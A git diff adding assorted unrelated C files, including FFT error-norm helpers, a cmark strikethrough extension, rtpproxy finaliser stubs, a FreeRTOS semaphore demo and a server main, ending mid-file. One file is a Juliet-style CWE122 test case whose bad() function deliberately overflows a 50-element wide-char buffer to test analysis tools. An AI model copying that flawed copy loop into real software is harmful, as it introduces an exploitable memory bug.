+} + +static R err2(const R *x, const R *y, const INT n) +{ + INT k; + R err = K(0.0); + + if (!y) + { + for (k = 0; k < n; k++) + err += x[k]*x[k]; + } + else + { + for (k = 0; k < n; k++) + err += (x[k]-y[k]) * (x[k]-y[k]); + } + + return SQRT(err); +} + +static R cerri(const C *x, const C *y, const INT n) +{ + INT k; + R err = K(0.0), t; + + if (!y) + { + for (k = 0; k < n; k++) + { + t = CABS(x[k]); + err = MAX(err, t); + } + } + else + { + for (k = 0; k < n; k++) + { + t = CABS(x[k] - y[k]); + err = MAX(err, t); + } + } + + return err; +} + +static R erri(const R *x, const R *y, const INT n) +{ + INT k; + R err = K(0.0), t; + + if (!y) + { + for (k = 0; k < n; k++) + { + t = FABS(x[k]); + err = MAX(err, t); + } + } + else + { + for (k = 0; k < n; k++) + { + t = FABS(x[k] - y[k]); + err = MAX(err, t); + } + } + + return err; +} + +/** computes \f$\frac{\|x-y\|_{\infty}}{\|x\|_{\infty}} \f$ + */ +R Y(error_l_infty_complex)(const C *x, const C *y, const INT n) +{ + return (cerri(x, y, n)/cerri(x, 0, n)); +} + +/** computes \f$\frac{\|x-y\|_{\infty}}{\|x\|_{\infty}} \f$ + */ +R Y(error_l_infty_double)(const R *x, const R *y, const INT n) +{ + return (erri(x, y, n)/erri(x, 0, n)); +} + +/** computes \f$\frac{\|x-y\|_{\infty}}{\|z\|_1} \f$ + */ +R Y(error_l_infty_1_complex)(const C *x, const C *y, const INT n, + const C *z, const INT m) +{ + return (cerri(x, y, n)/cnrm1(z, m)); +} + +/** computes \f$\frac{\|x-y\|_{\infty}}{\|z\|_1} \f$ + */ +R Y(error_l_infty_1_double)(const R *x, const R *y, const INT n, const R *z, + const INT m) +{ + return (erri(x, y, n)/nrm1(z, m)); +} + +/** computes \f$\frac{\|x-y\|_2}{\|x\|_2} \f$ + */ +R Y(error_l_2_complex)(const C *x, const C *y, const INT n) +{ + return (cerr2(x, y, n)/cerr2(x, 0, n)); +} + +/** computes \f$\frac{\|x-y\|_2}{\|x\|_2} \f$ + */ +R Y(error_l_2_double)(const R *x, const R *y, const INT n) +{ + return (err2(x, y, n)/err2(x, NULL, n)); +} diff --git a/pool/shard011/C/0142110_strikethrough.c b/pool/shard011/C/0142110_strikethrough.c new file mode 100644 index 0000000000000000000000000000000000000000..0d9418090e5d2ef262295a4d051af9cb29b61f2f --- /dev/null +++ b/pool/shard011/C/0142110_strikethrough.c @@ -0,0 +1,158 @@ +#include "strikethrough.h" +#include +#include + +cmark_node_type CMARK_NODE_STRIKETHROUGH; + +static cmark_node *match(cmark_syntax_extension *self, cmark_parser *parser, + cmark_node *parent, unsigned char character, + cmark_inline_parser *inline_parser) { + cmark_node *res = NULL; + int left_flanking, right_flanking, punct_before, punct_after, delims; + char buffer[101]; + + if (character != '~') + return NULL; + + delims = cmark_inline_parser_scan_delimiters( + inline_parser, sizeof(buffer) - 1, '~', + &left_flanking, + &right_flanking, &punct_before, &punct_after); + + memset(buffer, '~', delims); + buffer[delims] = 0; + + res = cmark_node_new_with_mem(CMARK_NODE_TEXT, parser->mem); + cmark_node_set_literal(res, buffer); + res->start_line = res->end_line = cmark_inline_parser_get_line(inline_parser); + res->start_column = cmark_inline_parser_get_column(inline_parser) - delims; + + if ((left_flanking || right_flanking) && + (!(parser->options & CMARK_OPT_STRIKETHROUGH_DOUBLE_TILDE) || delims == 2)) { + cmark_inline_parser_push_delimiter(inline_parser, character, left_flanking, + right_flanking, res); + } + + return res; +} + +static delimiter *insert(cmark_syntax_extension *self, cmark_parser *parser, + cmark_inline_parser *inline_parser, delimiter *opener, + delimiter *closer) { + cmark_node *strikethrough; + cmark_node *tmp, *next; + delimiter *delim, *tmp_delim; + delimiter *res = closer->next; + + strikethrough = opener->inl_text; + + if (!cmark_node_set_type(strikethrough, CMARK_NODE_STRIKETHROUGH)) + goto done; + + cmark_node_set_syntax_extension(strikethrough, self); + + cmark_node_set_string_content(strikethrough, "~"); + tmp = cmark_node_next(opener->inl_text); + + while (tmp) { + if (tmp == closer->inl_text) + break; + next = cmark_node_next(tmp); + cmark_node_append_child(strikethrough, tmp); + tmp = next; + } + + strikethrough->end_column = closer->inl_text->start_column + closer->inl_text->as.literal.len - 1; + cmark_node_free(closer->inl_text); + + delim = closer; + while (delim != NULL && delim != opener) { + tmp_delim = delim->previous; + cmark_inline_parser_remove_delimiter(inline_parser, delim); + delim = tmp_delim; + } + + cmark_inline_parser_remove_delimiter(inline_parser, opener); + +done: + return res; +} + +static const char *get_type_string(cmark_syntax_extension *extension, + cmark_node *node) { + return node->type == CMARK_NODE_STRIKETHROUGH ? "strikethrough" : ""; +} + +static int can_contain(cmark_syntax_extension *extension, cmark_node *node, + cmark_node_type child_type) { + if (node->type != CMARK_NODE_STRIKETHROUGH) + return false; + + return CMARK_NODE_TYPE_INLINE_P(child_type); +} + +static void commonmark_render(cmark_syntax_extension *extension, + cmark_renderer *renderer, cmark_node *node, + cmark_event_type ev_type, int options) { + renderer->out(renderer, node, cmark_node_get_string_content(node), false, LITERAL); +} + +static void latex_render(cmark_syntax_extension *extension, + cmark_renderer *renderer, cmark_node *node, + cmark_event_type ev_type, int options) { + // requires \usepackage{ulem} + bool entering = (ev_type == CMARK_EVENT_ENTER); + if (entering) { + renderer->out(renderer, node, "\\sout{", false, LITERAL); + } else { + renderer->out(renderer, node, "}", false, LITERAL); + } +} + +static void man_render(cmark_syntax_extension *extension, + cmark_renderer *renderer, cmark_node *node, + cmark_event_type ev_type, int options) { + bool entering = (ev_type == CMARK_EVENT_ENTER); + if (entering) { + renderer->cr(renderer); + renderer->out(renderer, node, ".ST \"", false, LITERAL); + } else { + renderer->out(renderer, node, "\"", false, LITERAL); + renderer->cr(renderer); + } +} + +static void html_render(cmark_syntax_extension *extension, + cmark_html_renderer *renderer, cmark_node *node, + cmark_event_type ev_type, int options) { + bool entering = (ev_type == CMARK_EVENT_ENTER); + if (entering) { + cmark_strbuf_puts(renderer->html, ""); + } else { + cmark_strbuf_puts(renderer->html, ""); + } +} + +cmark_syntax_extension *create_strikethrough_extension(void) { + cmark_syntax_extension *ext = cmark_syntax_extension_new("strikethrough"); + cmark_llist *special_chars = NULL; + + cmark_syntax_extension_set_get_type_string_func(ext, get_type_string); + cmark_syntax_extension_set_can_contain_func(ext, can_contain); + cmark_syntax_extension_set_commonmark_render_func(ext, commonmark_render); + cmark_syntax_extension_set_latex_render_func(ext, latex_render); + cmark_syntax_extension_set_man_render_func(ext, man_render); + cmark_syntax_extension_set_html_render_func(ext, html_render); + CMARK_NODE_STRIKETHROUGH = cmark_syntax_extension_add_node(1); + + cmark_syntax_extension_set_match_inline_func(ext, match); + cmark_syntax_extension_set_inline_from_delim_func(ext, insert); + + cmark_mem *mem = cmark_get_default_mem_allocator(); + special_chars = cmark_llist_append(mem, special_chars, (void *)'~'); + cmark_syntax_extension_set_special_inline_chars(ext, special_chars); + + cmark_syntax_extension_set_emphasis(ext, 1); + + return ext; +} diff --git a/pool/shard011/C/0142111_rtpp_sessinfo_fin.c b/pool/shard011/C/0142111_rtpp_sessinfo_fin.c new file mode 100644 index 0000000000000000000000000000000000000000..482d19a38d670ee4d6f0d6a60ae98aedb7a678c8 --- /dev/null +++ b/pool/shard011/C/0142111_rtpp_sessinfo_fin.c @@ -0,0 +1,76 @@ +/* Auto-generated by genfincode.sh - DO NOT EDIT! */ +#include +#include +#include +#define RTPP_FINCODE +#include "rtpp_types.h" +#include "rtpp_debug.h" +#include "rtpp_sessinfo.h" +#include "rtpp_sessinfo_fin.h" +static void rtpp_si_append_fin(void *pub) { + fprintf(stderr, "Method rtpp_sessinfo@%p::append (rtpp_si_append) is invoked after destruction\x0a", pub); + RTPP_AUTOTRAP(); +} +static void rtpp_si_remove_fin(void *pub) { + fprintf(stderr, "Method rtpp_sessinfo@%p::remove (rtpp_si_remove) is invoked after destruction\x0a", pub); + RTPP_AUTOTRAP(); +} +static void rtpp_si_sync_polltbl_fin(void *pub) { + fprintf(stderr, "Method rtpp_sessinfo@%p::sync_polltbl (rtpp_si_sync_polltbl) is invoked after destruction\x0a", pub); + RTPP_AUTOTRAP(); +} +static void rtpp_si_update_fin(void *pub) { + fprintf(stderr, "Method rtpp_sessinfo@%p::update (rtpp_si_update) is invoked after destruction\x0a", pub); + RTPP_AUTOTRAP(); +} +void rtpp_sessinfo_fin(struct rtpp_sessinfo *pub) { + RTPP_DBG_ASSERT(pub->append != (rtpp_si_append_t)NULL); + RTPP_DBG_ASSERT(pub->append != (rtpp_si_append_t)&rtpp_si_append_fin); + pub->append = (rtpp_si_append_t)&rtpp_si_append_fin; + RTPP_DBG_ASSERT(pub->remove != (rtpp_si_remove_t)NULL); + RTPP_DBG_ASSERT(pub->remove != (rtpp_si_remove_t)&rtpp_si_remove_fin); + pub->remove = (rtpp_si_remove_t)&rtpp_si_remove_fin; + RTPP_DBG_ASSERT(pub->sync_polltbl != (rtpp_si_sync_polltbl_t)NULL); + RTPP_DBG_ASSERT(pub->sync_polltbl != (rtpp_si_sync_polltbl_t)&rtpp_si_sync_polltbl_fin); + pub->sync_polltbl = (rtpp_si_sync_polltbl_t)&rtpp_si_sync_polltbl_fin; + RTPP_DBG_ASSERT(pub->update != (rtpp_si_update_t)NULL); + RTPP_DBG_ASSERT(pub->update != (rtpp_si_update_t)&rtpp_si_update_fin); + pub->update = (rtpp_si_update_t)&rtpp_si_update_fin; +} +#if defined(RTPP_FINTEST) +#include +#include +#include "rtpp_mallocs.h" +#include "rtpp_refcnt.h" +#include "rtpp_linker_set.h" +#define CALL_TFIN(pub, fn) ((void (*)(typeof(pub)))((pub)->fn))(pub) + +void +rtpp_sessinfo_fintest() +{ + int naborts_s; + + struct { + struct rtpp_sessinfo pub; + } *tp; + + naborts_s = _naborts; + tp = rtpp_rzmalloc(sizeof(*tp), offsetof(typeof(*tp), pub.rcnt)); + assert(tp != NULL); + assert(tp->pub.rcnt != NULL); + tp->pub.append = (rtpp_si_append_t)((void *)0x1); + tp->pub.remove = (rtpp_si_remove_t)((void *)0x1); + tp->pub.sync_polltbl = (rtpp_si_sync_polltbl_t)((void *)0x1); + tp->pub.update = (rtpp_si_update_t)((void *)0x1); + CALL_SMETHOD(tp->pub.rcnt, attach, (rtpp_refcnt_dtor_t)&rtpp_sessinfo_fin, + &tp->pub); + RTPP_OBJ_DECREF(&(tp->pub)); + CALL_TFIN(&tp->pub, append); + CALL_TFIN(&tp->pub, remove); + CALL_TFIN(&tp->pub, sync_polltbl); + CALL_TFIN(&tp->pub, update); + assert((_naborts - naborts_s) == 4); +} +const static void *_rtpp_sessinfo_ftp = (void *)&rtpp_sessinfo_fintest; +DATA_SET(rtpp_fintests, _rtpp_sessinfo_ftp); +#endif /* RTPP_FINTEST */ diff --git a/pool/shard011/C/0142112_semtest.c b/pool/shard011/C/0142112_semtest.c new file mode 100644 index 0000000000000000000000000000000000000000..10bb1195006766ff7caf9a772c5b8e18d634fc03 --- /dev/null +++ b/pool/shard011/C/0142112_semtest.c @@ -0,0 +1,332 @@ +/* + FreeRTOS V7.4.0 - Copyright (C) 2013 Real Time Engineers Ltd. + + FEATURES AND PORTS ARE ADDED TO FREERTOS ALL THE TIME. PLEASE VISIT + http://www.FreeRTOS.org TO ENSURE YOU ARE USING THE LATEST VERSION. + + *************************************************************************** + * * + * FreeRTOS tutorial books are available in pdf and paperback. * + * Complete, revised, and edited pdf reference manuals are also * + * available. * + * * + * Purchasing FreeRTOS documentation will not only help you, by * + * ensuring you get running as quickly as possible and with an * + * in-depth knowledge of how to use FreeRTOS, it will also help * + * the FreeRTOS project to continue with its mission of providing * + * professional grade, cross platform, de facto standard solutions * + * for microcontrollers - completely free of charge! * + * * + * >>> See http://www.FreeRTOS.org/Documentation for details. <<< * + * * + * Thank you for using FreeRTOS, and thank you for your support! * + * * + *************************************************************************** + + + This file is part of the FreeRTOS distribution. + + FreeRTOS is free software; you can redistribute it and/or modify it under + the terms of the GNU General Public License (version 2) as published by the + Free Software Foundation AND MODIFIED BY the FreeRTOS exception. + + >>>>>>NOTE<<<<<< The modification to the GPL is included to allow you to + distribute a combined work that includes FreeRTOS without being obliged to + provide the source code for proprietary components outside of the FreeRTOS + kernel. + + FreeRTOS is distributed in the hope that it will be useful, but WITHOUT ANY + WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. You should have received a copy of the GNU General Public License + and the FreeRTOS license exception along with FreeRTOS; if not itcan be + viewed here: http://www.freertos.org/a00114.html and also obtained by + writing to Real Time Engineers Ltd., contact details for whom are available + on the FreeRTOS WEB site. + + 1 tab == 4 spaces! + + *************************************************************************** + * * + * Having a problem? Start by reading the FAQ "My application does * + * not run, what could be wrong?" * + * * + * http://www.FreeRTOS.org/FAQHelp.html * + * * + *************************************************************************** + + + http://www.FreeRTOS.org - Documentation, books, training, latest versions, + license and Real Time Engineers Ltd. contact details. + + http://www.FreeRTOS.org/plus - A selection of FreeRTOS ecosystem products, + including FreeRTOS+Trace - an indispensable productivity tool, and our new + fully thread aware and reentrant UDP/IP stack. + + http://www.OpenRTOS.com - Real Time Engineers ltd license FreeRTOS to High + Integrity Systems, who sell the code with commercial support, + indemnification and middleware, under the OpenRTOS brand. + + http://www.SafeRTOS.com - High Integrity Systems also provide a safety + engineered and independently SIL3 certified version for use in safety and + mission critical applications that require provable dependability. +*/ + +/** + * Creates two sets of two tasks. The tasks within a set share a variable, access + * to which is guarded by a semaphore. + * + * Each task starts by attempting to obtain the semaphore. On obtaining a + * semaphore a task checks to ensure that the guarded variable has an expected + * value. It then clears the variable to zero before counting it back up to the + * expected value in increments of 1. After each increment the variable is checked + * to ensure it contains the value to which it was just set. When the starting + * value is again reached the task releases the semaphore giving the other task in + * the set a chance to do exactly the same thing. The starting value is high + * enough to ensure that a tick is likely to occur during the incrementing loop. + * + * An error is flagged if at any time during the process a shared variable is + * found to have a value other than that expected. Such an occurrence would + * suggest an error in the mutual exclusion mechanism by which access to the + * variable is restricted. + * + * The first set of two tasks poll their semaphore. The second set use blocking + * calls. + * + * \page SemTestC semtest.c + * \ingroup DemoFiles + *


+ */ + +/* +Changes from V1.2.0: + + + The tasks that operate at the idle priority now use a lower expected + count than those running at a higher priority. This prevents the low + priority tasks from signaling an error because they have not been + scheduled enough time for each of them to count the shared variable to + the high value. + +Changes from V2.0.0 + + + Delay periods are now specified using variables and constants of + portTickType rather than unsigned long. + +Changes from V2.1.1 + + + The stack size now uses configMINIMAL_STACK_SIZE. + + String constants made file scope to decrease stack depth on 8051 port. +*/ + +#include + +/* Scheduler include files. */ +#include "FreeRTOS.h" +#include "task.h" +#include "semphr.h" + +/* Demo app include files. */ +#include "semtest.h" +#include "print.h" + +/* The value to which the shared variables are counted. */ +#define semtstBLOCKING_EXPECTED_VALUE ( ( unsigned long ) 0xfff ) +#define semtstNON_BLOCKING_EXPECTED_VALUE ( ( unsigned long ) 0xff ) + +#define semtstSTACK_SIZE configMINIMAL_STACK_SIZE + +#define semtstNUM_TASKS ( 4 ) + +#define semtstDELAY_FACTOR ( ( portTickType ) 10 ) + +/* The task function as described at the top of the file. */ +static void prvSemaphoreTest( void *pvParameters ); + +/* Structure used to pass parameters to each task. */ +typedef struct SEMAPHORE_PARAMETERS +{ + xSemaphoreHandle xSemaphore; + volatile unsigned long *pulSharedVariable; + portTickType xBlockTime; +} xSemaphoreParameters; + +/* Variables used to check that all the tasks are still running without errors. */ +static volatile short sCheckVariables[ semtstNUM_TASKS ] = { 0 }; +static volatile short sNextCheckVariable = 0; + +/* Strings to print if USE_STDIO is defined. */ +const char * const pcPollingSemaphoreTaskError = "Guarded shared variable in unexpected state.\r\n"; +const char * const pcSemaphoreTaskStart = "Guarded shared variable task started.\r\n"; + +/*-----------------------------------------------------------*/ + +void vStartSemaphoreTasks( unsigned portBASE_TYPE uxPriority ) +{ +xSemaphoreParameters *pxFirstSemaphoreParameters, *pxSecondSemaphoreParameters; +const portTickType xBlockTime = ( portTickType ) 100; + + /* Create the structure used to pass parameters to the first two tasks. */ + pxFirstSemaphoreParameters = ( xSemaphoreParameters * ) pvPortMalloc( sizeof( xSemaphoreParameters ) ); + + if( pxFirstSemaphoreParameters != NULL ) + { + /* Create the semaphore used by the first two tasks. */ + vSemaphoreCreateBinary( pxFirstSemaphoreParameters->xSemaphore ); + + if( pxFirstSemaphoreParameters->xSemaphore != NULL ) + { + /* Create the variable which is to be shared by the first two tasks. */ + pxFirstSemaphoreParameters->pulSharedVariable = ( unsigned long * ) pvPortMalloc( sizeof( unsigned long ) ); + + /* Initialise the share variable to the value the tasks expect. */ + *( pxFirstSemaphoreParameters->pulSharedVariable ) = semtstNON_BLOCKING_EXPECTED_VALUE; + + /* The first two tasks do not block on semaphore calls. */ + pxFirstSemaphoreParameters->xBlockTime = ( portTickType ) 0; + + /* Spawn the first two tasks. As they poll they operate at the idle priority. */ + xTaskCreate( prvSemaphoreTest, "PolSEM1", semtstSTACK_SIZE, ( void * ) pxFirstSemaphoreParameters, tskIDLE_PRIORITY, ( xTaskHandle * ) NULL ); + xTaskCreate( prvSemaphoreTest, "PolSEM2", semtstSTACK_SIZE, ( void * ) pxFirstSemaphoreParameters, tskIDLE_PRIORITY, ( xTaskHandle * ) NULL ); + } + } + + /* Do exactly the same to create the second set of tasks, only this time + provide a block time for the semaphore calls. */ + pxSecondSemaphoreParameters = ( xSemaphoreParameters * ) pvPortMalloc( sizeof( xSemaphoreParameters ) ); + if( pxSecondSemaphoreParameters != NULL ) + { + vSemaphoreCreateBinary( pxSecondSemaphoreParameters->xSemaphore ); + + if( pxSecondSemaphoreParameters->xSemaphore != NULL ) + { + pxSecondSemaphoreParameters->pulSharedVariable = ( unsigned long * ) pvPortMalloc( sizeof( unsigned long ) ); + *( pxSecondSemaphoreParameters->pulSharedVariable ) = semtstBLOCKING_EXPECTED_VALUE; + pxSecondSemaphoreParameters->xBlockTime = xBlockTime / portTICK_RATE_MS; + + xTaskCreate( prvSemaphoreTest, "BlkSEM1", semtstSTACK_SIZE, ( void * ) pxSecondSemaphoreParameters, uxPriority, ( xTaskHandle * ) NULL ); + xTaskCreate( prvSemaphoreTest, "BlkSEM2", semtstSTACK_SIZE, ( void * ) pxSecondSemaphoreParameters, uxPriority, ( xTaskHandle * ) NULL ); + } + } +} +/*-----------------------------------------------------------*/ + +static void prvSemaphoreTest( void *pvParameters ) +{ +xSemaphoreParameters *pxParameters; +volatile unsigned long *pulSharedVariable, ulExpectedValue; +unsigned long ulCounter; +short sError = pdFALSE, sCheckVariableToUse; + + /* See which check variable to use. sNextCheckVariable is not semaphore + protected! */ + portENTER_CRITICAL(); + sCheckVariableToUse = sNextCheckVariable; + sNextCheckVariable++; + portEXIT_CRITICAL(); + + /* Queue a message for printing to say the task has started. */ + vPrintDisplayMessage( &pcSemaphoreTaskStart ); + + /* A structure is passed in as the parameter. This contains the shared + variable being guarded. */ + pxParameters = ( xSemaphoreParameters * ) pvParameters; + pulSharedVariable = pxParameters->pulSharedVariable; + + /* If we are blocking we use a much higher count to ensure loads of context + switches occur during the count. */ + if( pxParameters->xBlockTime > ( portTickType ) 0 ) + { + ulExpectedValue = semtstBLOCKING_EXPECTED_VALUE; + } + else + { + ulExpectedValue = semtstNON_BLOCKING_EXPECTED_VALUE; + } + + for( ;; ) + { + /* Try to obtain the semaphore. */ + if( xSemaphoreTake( pxParameters->xSemaphore, pxParameters->xBlockTime ) == pdPASS ) + { + /* We have the semaphore and so expect any other tasks using the + shared variable to have left it in the state we expect to find + it. */ + if( *pulSharedVariable != ulExpectedValue ) + { + vPrintDisplayMessage( &pcPollingSemaphoreTaskError ); + sError = pdTRUE; + } + + /* Clear the variable, then count it back up to the expected value + before releasing the semaphore. Would expect a context switch or + two during this time. */ + for( ulCounter = ( unsigned long ) 0; ulCounter <= ulExpectedValue; ulCounter++ ) + { + *pulSharedVariable = ulCounter; + if( *pulSharedVariable != ulCounter ) + { + if( sError == pdFALSE ) + { + vPrintDisplayMessage( &pcPollingSemaphoreTaskError ); + } + sError = pdTRUE; + } + } + + /* Release the semaphore, and if no errors have occurred increment the check + variable. */ + if( xSemaphoreGive( pxParameters->xSemaphore ) == pdFALSE ) + { + vPrintDisplayMessage( &pcPollingSemaphoreTaskError ); + sError = pdTRUE; + } + + if( sError == pdFALSE ) + { + if( sCheckVariableToUse < semtstNUM_TASKS ) + { + ( sCheckVariables[ sCheckVariableToUse ] )++; + } + } + + /* If we have a block time then we are running at a priority higher + than the idle priority. This task takes a long time to complete + a cycle (deliberately so to test the guarding) so will be starving + out lower priority tasks. Block for some time to allow give lower + priority tasks some processor time. */ + vTaskDelay( pxParameters->xBlockTime * semtstDELAY_FACTOR ); + } + else + { + if( pxParameters->xBlockTime == ( portTickType ) 0 ) + { + /* We have not got the semaphore yet, so no point using the + processor. We are not blocking when attempting to obtain the + semaphore. */ + taskYIELD(); + } + } + } +} +/*-----------------------------------------------------------*/ + +/* This is called to check that all the created tasks are still running. */ +portBASE_TYPE xAreSemaphoreTasksStillRunning( void ) +{ +static short sLastCheckVariables[ semtstNUM_TASKS ] = { 0 }; +portBASE_TYPE xTask, xReturn = pdTRUE; + + for( xTask = 0; xTask < semtstNUM_TASKS; xTask++ ) + { + if( sLastCheckVariables[ xTask ] == sCheckVariables[ xTask ] ) + { + xReturn = pdFALSE; + } + + sLastCheckVariables[ xTask ] = sCheckVariables[ xTask ]; + } + + return xReturn; +} + + diff --git a/pool/shard011/C/0142113_CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_loop_05.c b/pool/shard011/C/0142113_CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_loop_05.c new file mode 100644 index 0000000000000000000000000000000000000000..d48c918bbc9543d787ce05d3783ab77bbf2db3c7 --- /dev/null +++ b/pool/shard011/C/0142113_CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_loop_05.c @@ -0,0 +1,149 @@ +/* TEMPLATE GENERATED TESTCASE FILE +Filename: CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_loop_05.c +Label Definition File: CWE122_Heap_Based_Buffer_Overflow__c_CWE806.label.xml +Template File: sources-sink-05.tmpl.c +*/ +/* + * @description + * CWE: 122 Heap Based Buffer Overflow + * BadSource: Initialize data as a large string + * GoodSource: Initialize data as a small string + * Sink: loop + * BadSink : Copy data to string using a loop + * Flow Variant: 05 Control flow: if(staticTrue) and if(staticFalse) + * + * */ + +#include "std_testcase.h" + +#include + +/* The two variables below are not defined as "const", but are never + * assigned any other value, so a tool should be able to identify that + * reads of these will always return their initialized values. + */ +static int staticTrue = 1; /* true */ +static int staticFalse = 0; /* false */ + +#ifndef OMITBAD + +void CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_loop_05_bad() +{ + wchar_t * data; + data = (wchar_t *)malloc(100*sizeof(wchar_t)); + if(staticTrue) + { + /* FLAW: Initialize data as a large buffer that is larger than the small buffer used in the sink */ + wmemset(data, L'A', 100-1); /* fill with L'A's */ + data[100-1] = L'\0'; /* null terminate */ + } + { + wchar_t dest[50] = L""; + size_t i, dataLen; + dataLen = wcslen(data); + /* POTENTIAL FLAW: Possible buffer overflow if data is larger than dest */ + for (i = 0; i < dataLen; i++) + { + dest[i] = data[i]; + } + dest[50-1] = L'\0'; /* Ensure the destination buffer is null terminated */ + printWLine(data); + free(data); + } +} + +#endif /* OMITBAD */ + +#ifndef OMITGOOD + +/* goodG2B1() - use goodsource and badsink by changing the staticTrue to staticFalse */ +static void goodG2B1() +{ + wchar_t * data; + data = (wchar_t *)malloc(100*sizeof(wchar_t)); + if(staticFalse) + { + /* INCIDENTAL: CWE 561 Dead Code, the code below will never run */ + printLine("Benign, fixed string"); + } + else + { + /* FIX: Initialize data as a small buffer that as small or smaller than the small buffer used in the sink */ + wmemset(data, L'A', 50-1); /* fill with L'A's */ + data[50-1] = L'\0'; /* null terminate */ + } + { + wchar_t dest[50] = L""; + size_t i, dataLen; + dataLen = wcslen(data); + /* POTENTIAL FLAW: Possible buffer overflow if data is larger than dest */ + for (i = 0; i < dataLen; i++) + { + dest[i] = data[i]; + } + dest[50-1] = L'\0'; /* Ensure the destination buffer is null terminated */ + printWLine(data); + free(data); + } +} + +/* goodG2B2() - use goodsource and badsink by reversing the blocks in the if statement */ +static void goodG2B2() +{ + wchar_t * data; + data = (wchar_t *)malloc(100*sizeof(wchar_t)); + if(staticTrue) + { + /* FIX: Initialize data as a small buffer that as small or smaller than the small buffer used in the sink */ + wmemset(data, L'A', 50-1); /* fill with L'A's */ + data[50-1] = L'\0'; /* null terminate */ + } + { + wchar_t dest[50] = L""; + size_t i, dataLen; + dataLen = wcslen(data); + /* POTENTIAL FLAW: Possible buffer overflow if data is larger than dest */ + for (i = 0; i < dataLen; i++) + { + dest[i] = data[i]; + } + dest[50-1] = L'\0'; /* Ensure the destination buffer is null terminated */ + printWLine(data); + free(data); + } +} + +void CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_loop_05_good() +{ + goodG2B1(); + goodG2B2(); +} + +#endif /* OMITGOOD */ + +/* Below is the main(). It is only used when building this testcase on + * its own for testing or for building a binary to use in testing binary + * analysis tools. It is not used when compiling all the testcases as one + * application, which is how source code analysis tools are tested. + */ + +#ifdef INCLUDEMAIN + +int main(int argc, char * argv[]) +{ + /* seed randomness */ + srand( (unsigned)time(NULL) ); +#ifndef OMITGOOD + printLine("Calling good()..."); + CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_loop_05_good(); + printLine("Finished good()"); +#endif /* OMITGOOD */ +#ifndef OMITBAD + printLine("Calling bad()..."); + CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_loop_05_bad(); + printLine("Finished bad()"); +#endif /* OMITBAD */ + return 0; +} + +#endif diff --git a/pool/shard011/C/0142114_rfc.c b/pool/shard011/C/0142114_rfc.c new file mode 100644 index 0000000000000000000000000000000000000000..21c0673f1625935276144590d54a64aa5de9f94d --- /dev/null +++ b/pool/shard011/C/0142114_rfc.c @@ -0,0 +1,35 @@ +/* + * rfc.c, part of "knet" project. + * + * Created on: 05.06.2015, 23:00 + * Author: Vsevolod Lutovinov + */ + +#include "rfc.h" +#include +#include + +char * rfc1123_date( char * buf, time_t t ) +{ + static const char * DAY_NAMES[] = + { "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" }; + static const char * MONTH_NAMES[] = + { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", + "Nov", "Dec" }; + time_t tt; + struct tm * gt; + + if( !buf ) + { + buf = Malloc( 32 ); + if( !buf ) return NULL; + } + + tt = t ? t : time( NULL ); + gt = gmtime( &tt ); + strftime( buf, 31, "---, %d --- %Y %H:%M:%S GMT", gt ); + memcpy( buf, DAY_NAMES[gt->tm_wday], 3 ); + memcpy( buf + 8, MONTH_NAMES[gt->tm_mon], 3 ); + + return buf; +} diff --git a/pool/shard011/C/0142115_server.c b/pool/shard011/C/0142115_server.c new file mode 100644 index 0000000000000000000000000000000000000000..f7acf1d1e5088cff11afadb1654e6aa16dcf147e --- /dev/null +++ b/pool/shard011/C/0142115_server.c @@ -0,0 +1,83 @@ +/* +* Copyright 2015, Liyinlong. All rights reserved. +* https://github.com/Jacklli/Action +* +* Use of this source code is governed by GPL v2 license +* that can be found in the License file. +* +* Author: Liyinlong (yinlong.lee at hotmail.com) +*/ + +#include +#include +#include +#include "buffer.h" +#include "event.h" +#include "aepoll.h" +#include "timer.h" +#include "tcpsocket.h" +#include "conn.h" +#include "rbtree.h" +#include "server.h" +#include "dict.h" +#include "log.h" +#include "threads.h" + + +int serverport = PORT; +int listenfd = 0; + +dict *db[THREADCNT] = {NULL}; +eventLoop *globalEloop[THREADCNT] = {NULL}; +connTree *globalconnTree[THREADCNT] = {NULL}; +pthread_mutex_t lock[THREADCNT]; +pthread_mutex_t eloopidLock; +int eloopid = 0; + +pthread_mutex_t connLock; + + +/* these global variables are exposed to all threads */ +/* they are all immutable */ +extern dictType dDictType; + + +int main() { + int i = 0, j = 0; + pthread_t tid[THREADCNT+2]; + + listenfd = tcpServer(NULL,serverport , NULL); // init for the global variable listenfd, + // the first NULL refers to server->neterr, + writeLog(1,"starting server...%s","server started."); + logFile("starting server...", 0); + for(i = 0; i < THREADCNT; i++) { + db[i] = dictCreate(&dDictType, NULL); //init global variable db[i] + } + for(i = 0;iroot = NULL; + globalconnTree[i]->connCnt = 0; //init connCnt is 0 + globalconnTree[i]->ins = rb_insert; + globalconnTree[i]->del = rb_erase; + globalconnTree[i]->get = rb_search; + } + + pthread_mutex_init(&eloopidLock, NULL); + pthread_create(&tid[THREADCNT], NULL, acceptThread, NULL); + for(i = 0; i < THREADCNT; i++) { + pthread_mutex_init(&lock[i], NULL); + pthread_create(&tid[i], NULL, runworkThread, NULL); + } + pthread_mutex_init(&lock[THREADCNT], NULL); + pthread_create(&tid[THREADCNT+1], NULL, cronThread, NULL); + while(j < THREADCNT) { + pthread_join(tid[j], NULL); + j++; + } + pthread_join(tid[THREADCNT+1], NULL); + + pthread_join(tid[THREADCNT], NULL); //for accept thread + return 1; +} diff --git a/pool/shard011/C/0142116_printk.c b/pool/shard011/C/0142116_printk.c new file mode 100644 index 0000000000000000000000000000000000000000..c56f78c298ffed6abbd8a5ed58d3101e6519666f --- /dev/null +++ b/pool/shard011/C/0142116_printk.c @@ -0,0 +1,40 @@ +/* SPDX-License-Identifier: GPL-2.0-only */ + +#include +#include +#include +#include +#include + +void console_hw_init(void) +{ + __cbmemc_init(); +} + +int printk(int msg_level, const char *fmt, ...) +{ + va_list args; + int i; + + va_start(args, fmt); + i = 